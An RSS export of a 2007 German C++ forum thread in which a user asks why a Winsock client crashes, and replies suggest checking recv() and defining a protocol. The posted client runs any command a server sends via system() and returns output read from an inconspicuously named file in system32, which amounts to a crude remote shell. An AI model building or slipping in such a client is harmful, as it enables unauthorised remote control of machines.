<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[WinSock Problem]]></title><description><![CDATA[<p>Also, moin moin Zusammen.</p>
<p>Mein ClientProgramm das zu einem Server gehört funktioniert irgendwie nicht Richtig.</p>
<p>main.c</p>
<pre><code class="language-cpp">#include &lt;stdio.h&gt;
#include &lt;winsock2.h&gt;
#include &lt;windows.h&gt;

#pragma comment( lib, &quot;ws2_32.lib&quot; )

int main()
{
    struct sockaddr_in adress;
        SOCKET client_socket;
        char befehl[] = &quot;&gt; C:\\tmp.txt&quot;;
        char buffer[300];
        char buffer_send[500000];

        int gelesen;
        FILE *datei;

    WSADATA wsa;
        WSAStartup(MAKEWORD(2,0),&amp;wsa); 

    client_socket = socket(AF_INET,SOCK_STREAM,0);

                adress.sin_family = AF_INET;
                adress.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;);
                adress.sin_port = htons(5050);

    if(client_socket == -1)
    {
        printf(&quot;Sorry, das Socker konnte nicht gestartet werden.&quot;);
        exit(1);
    }

    printf(&quot;Warten bis der Server Online ist.....\n&quot;);

        while(1)
        {

                int rc=connect(client_socket,(sockaddr*)&amp;adress,sizeof(adress));

                if(rc==SOCKET_ERROR)
                {
                        printf(&quot;Fehler: connect gescheitert, fehler code: %d\n&quot;,WSAGetLastError());
                        Sleep(60000);
                }
                else
                {
                        printf(&quot;Verbunden mit 85.5.40.7..\n&quot;);

                        while(1)
                        {
                                int sendet = recv(client_socket,buffer,300,0);
                                buffer[sendet] = 0;
                                printf(&quot;Der Befehl: %s wurde empfange....\n&quot;,buffer);
                                strcat(buffer,befehl);
                                printf(&quot;Augeführeter Befehl: %s\n&quot;,buffer);

                                system(buffer);

                                datei = fopen(&quot;C:\\WINDOWS\\system32\\winservtmp.txt&quot;,&quot;r&quot;);
                                gelesen = fread(buffer_send,sizeof(char),15000,datei);
                                fclose(datei);

                                buffer_send[gelesen] = 0;

                                printf(&quot;Folgendes Wird Gesendet:\n %s&quot;,buffer_send);

                                //send(client_socket,&quot;Hallo&quot;,5,0);

                                send(client_socket,buffer_send,50000,0);

                                //printf(&quot;Gesesndet:%d\n&quot;,sendet_1);

                        }
                }                                                   

        }
}
</code></pre>
<p>Der Client soll Befehle vom die er vom Server Bekommt ausfüher und dann zurückgeben <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>Leider klappt dies nur beim 1. Durchgang. Beim 2. Befehl der gesendet wir, auch wenn es der gleiche ist(dir). Stürzt das Programm ab mit Kryptischen Stack werten. Vieleicht ist es ja ein Segmentationfault.</p>
<p>Ich hoffe jemand weiss die Lösung sonst verzweifle ich nocht <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>Gruss</p>
<p>WinSocket</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/191948/winsock-problem</link><generator>RSS for Node</generator><lastBuildDate>Wed, 01 Jul 2026 04:34:10 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/191948.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 08 Sep 2007 16:16:37 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to WinSock Problem on Sat, 08 Sep 2007 16:16:37 GMT]]></title><description><![CDATA[<p>Also, moin moin Zusammen.</p>
<p>Mein ClientProgramm das zu einem Server gehört funktioniert irgendwie nicht Richtig.</p>
<p>main.c</p>
<pre><code class="language-cpp">#include &lt;stdio.h&gt;
#include &lt;winsock2.h&gt;
#include &lt;windows.h&gt;

#pragma comment( lib, &quot;ws2_32.lib&quot; )

int main()
{
    struct sockaddr_in adress;
        SOCKET client_socket;
        char befehl[] = &quot;&gt; C:\\tmp.txt&quot;;
        char buffer[300];
        char buffer_send[500000];

        int gelesen;
        FILE *datei;

    WSADATA wsa;
        WSAStartup(MAKEWORD(2,0),&amp;wsa); 

    client_socket = socket(AF_INET,SOCK_STREAM,0);

                adress.sin_family = AF_INET;
                adress.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;);
                adress.sin_port = htons(5050);

    if(client_socket == -1)
    {
        printf(&quot;Sorry, das Socker konnte nicht gestartet werden.&quot;);
        exit(1);
    }

    printf(&quot;Warten bis der Server Online ist.....\n&quot;);

        while(1)
        {

                int rc=connect(client_socket,(sockaddr*)&amp;adress,sizeof(adress));

                if(rc==SOCKET_ERROR)
                {
                        printf(&quot;Fehler: connect gescheitert, fehler code: %d\n&quot;,WSAGetLastError());
                        Sleep(60000);
                }
                else
                {
                        printf(&quot;Verbunden mit 85.5.40.7..\n&quot;);

                        while(1)
                        {
                                int sendet = recv(client_socket,buffer,300,0);
                                buffer[sendet] = 0;
                                printf(&quot;Der Befehl: %s wurde empfange....\n&quot;,buffer);
                                strcat(buffer,befehl);
                                printf(&quot;Augeführeter Befehl: %s\n&quot;,buffer);

                                system(buffer);

                                datei = fopen(&quot;C:\\WINDOWS\\system32\\winservtmp.txt&quot;,&quot;r&quot;);
                                gelesen = fread(buffer_send,sizeof(char),15000,datei);
                                fclose(datei);

                                buffer_send[gelesen] = 0;

                                printf(&quot;Folgendes Wird Gesendet:\n %s&quot;,buffer_send);

                                //send(client_socket,&quot;Hallo&quot;,5,0);

                                send(client_socket,buffer_send,50000,0);

                                //printf(&quot;Gesesndet:%d\n&quot;,sendet_1);

                        }
                }                                                   

        }
}
</code></pre>
<p>Der Client soll Befehle vom die er vom Server Bekommt ausfüher und dann zurückgeben <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>Leider klappt dies nur beim 1. Durchgang. Beim 2. Befehl der gesendet wir, auch wenn es der gleiche ist(dir). Stürzt das Programm ab mit Kryptischen Stack werten. Vieleicht ist es ja ein Segmentationfault.</p>
<p>Ich hoffe jemand weiss die Lösung sonst verzweifle ich nocht <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>Gruss</p>
<p>WinSocket</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361439</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361439</guid><dc:creator><![CDATA[WinSocket__123]]></dc:creator><pubDate>Sat, 08 Sep 2007 16:16:37 GMT</pubDate></item><item><title><![CDATA[Reply to WinSock Problem on Sat, 08 Sep 2007 16:46:21 GMT]]></title><description><![CDATA[<p>Rückgabewert von recv() wird nicht richtig geprüft (unbedingt auf SOCKET_ERROR prüfen!).<br />
Zudem scheinst du da kein gescheites Protokoll definiert zu haben: Woher weiss dein Programm wann ein Befehl komplett übertragen wurde? Du prüfst z.B. auf kein String-Terminierungszeichen?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361464</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361464</guid><dc:creator><![CDATA[geeky]]></dc:creator><pubDate>Sat, 08 Sep 2007 16:46:21 GMT</pubDate></item><item><title><![CDATA[Reply to WinSock Problem on Mon, 10 Sep 2007 06:29:41 GMT]]></title><description><![CDATA[<p>do solltest dir eine &quot;safesend&quot; und eine &quot;safereceive&quot; funktion bauen o.ä., in der auf gesendete/empfangene pakete und fehler überprüft wird...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1362308</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1362308</guid><dc:creator><![CDATA[xyz123]]></dc:creator><pubDate>Mon, 10 Sep 2007 06:29:41 GMT</pubDate></item></channel></rss>